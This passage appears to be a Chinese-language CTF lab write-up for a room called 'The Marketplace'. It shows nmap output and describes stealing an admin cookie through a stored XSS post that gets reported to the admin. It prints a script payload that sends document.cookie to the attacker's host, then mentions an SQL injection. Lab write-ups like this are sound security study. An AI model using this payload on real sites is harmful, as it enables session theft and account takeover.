The Marketplace
端口扫描
root@ip-10-10-115-253:~/marketplace# nmap -sTCV -p 22,80,32768 --min-rate 1000 10.10.66.167
Starting Nmap 7.60 ( https://nmap.org ) at 2023-09-13 12:54 BST
Nmap scan report for ip-10-10-66-167.eu-west-1.compute.internal (10.10.66.167)
Host is up (0.00014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
| 256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_ 256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (EdDSA)
80/tcp open http nginx 1.19.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-server-header: nginx/1.19.2
|_http-title: The Marketplace
32768/tcp open http Node.js (Express middleware)
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-title: The Marketplace
MAC Address: 02:F5:73:6C:93:E3 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
80
访问页面后, 我经过了简单的搜查判定需要进行 XSS 来盗取管理员的 Cookie 内容, 结合分析唯一一种可以将我们提交的内容推送到管理员的方式是举报一个文章, 所以我尝试创建一个文章并进行举报
<script>fetch("http://10.10.115.253:8000/"+document.cookie)</script>
当创建之后直接举报我们的文章, 并查看我们的消息,因为当管理员查看后会给我们发请求, 请求数据为其 cookie , 如下所示
获取到管理员的cookie 后进行登陆, 经过简单的搜索后我发现其在查看用户的位置, 存在 SQL 注入漏洞